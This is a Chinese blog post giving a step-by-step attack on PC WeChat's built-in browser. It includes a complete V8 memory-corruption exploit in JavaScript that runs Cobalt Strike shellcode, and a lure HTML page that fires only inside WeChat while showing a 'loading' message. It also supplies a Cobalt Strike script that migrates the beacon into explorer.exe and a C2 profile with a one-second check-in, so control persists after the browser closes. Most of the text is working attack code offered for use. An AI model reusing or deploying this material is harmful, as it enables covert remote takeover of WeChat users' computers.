关于微信内置浏览器 达到持久控制

关于微信内置浏览器 达到持久控制

最近谷歌浏览器爆出了命令执行到处都是就不赘述了,由于微信调用了谷歌浏览器内核而且默认没开沙盒模式导致漏洞

但是爆出来的利用是依赖在微信浏览器进程上的,对方点击恶意链接后可正常上线可是一旦关闭内置浏览器就会失去控制权

解决上述问题

1.加载自定义 malleable C2配置文件 从而达到主机一上线跳默认为1秒,就可自动在目标打开浏览器短暂的时间里尽快转移进程

2.加载一个 Cobalt Strike automigrate自动迁移进程的插件从而达到目标上线后会话自动迁移到其他进程从而我们就可以脱离微信浏览器的束缚

具体操作

1.加载自定义 malleable C2配置文件

https://github.com/threatexpress/malleable-c2

在此项目上找到你cs版本对应的配置文件,我这里用的4.0 各版本差别不大

只需要修改心跳的设置为一秒
也可以用我改好的

下载地址 : jquery-c2.4.0.profile

修改好后丢到服务端

启动cobaltstrike时在最后面加上配置文件的名称就好
开启服务

2.加载一个 Cobalt Strike automigrate自动迁移进程的插件

插件代码:

on beacon_initial
{
 sub callback
 {
  $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  $listener = "wx";
  if ($2  ismatch $regex)
  {
   $pid = matched()[1];
   $inject_pid = $pid;
   if (-is64 $1)
   {
    $arch = "x64";
   }
   else
   {
    $arch = "x86";
   }
   binject($1, $pid, $listener, $arch);
  }
 }
 if($inject_pid != beacon_info($1,"pid"))
 {
  bps($1, &callback);
 }
}

复制到本地保存成一个.cna文件使用cobaltstrike加载插件就可

加载插件

测试:

1.准备文件

新建一个监听器

监听器名字一定要设置成wx,不然无法自动迁移进程

新建监听

生成一个shellcode

生成shellcode

这里的就是你的shellcode,将所有\替换成,0

生成shellcode

替换js代码里的shellcode

exp.js代码如下:

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [shellcode];
//"shellcode"处放我们的shellcode

function print(data) {}

var not_optimised_out = 0;
var target_function = (function(value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
}
);

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({
        toString: function() {
            return 'a'
        }
    });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(// at this point, the 4-byte allocation for the JSRegExp `this` object
            // has just happened.
            {
                toString: cb
            }, 'g'// now the runtime JSRegExp constructor is called, corrupting the
            // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();

    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function(obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function(addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function(addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function(addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function(addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function(addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try {
    print("start running");
    trigger();
} catch (e) {
    print(e);
}

将上面生成的shellcode 替换到此处
替换shellcode内容

创建一个html文件调用js

<!DOCTYPE html>
<html>
<head>
    <title>正在加载网页</title>
    <meta charset="utf-8">
    <script type="text/javascript">
    // 对浏览器的UserAgent进行正则匹配,不含有微信独有标识的则为其他浏览器
    var useragent = navigator.userAgent;
    if (useragent.match(/WindowsWechat/i) != 'WindowsWechat') {
        // 这里警告框会阻塞当前页面继续加载
        alert('已禁止本次访问:您必须使用PC端微信内置浏览器访问本页面!');
        // 以下代码是用javascript强行关闭当前页面
        var opened = window.open('about:blank', '_self');
        opened.opener = null;
        opened.close();
    }
    </script>
    <script src="exp.js"></script>
    <div style="font-size: 1.3em;margin: 10px auto;width: 200px;display: block;">
正在加载网页中...
</div>
</head>

2.搭建服务

随便拿什么搭都可以 我直接用phpstudy搭建下

搭建服务

测试上线与进程转移效果

可以看的会上线两个 beacon 基于微信的会话在浏览器关闭后即掉线
坚挺的会话

而转移到explorer.exe的会话依然坚挺!

上号


本文作者: iceH
本文链接: http://www.secice.cn/p/1bc7f83f
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!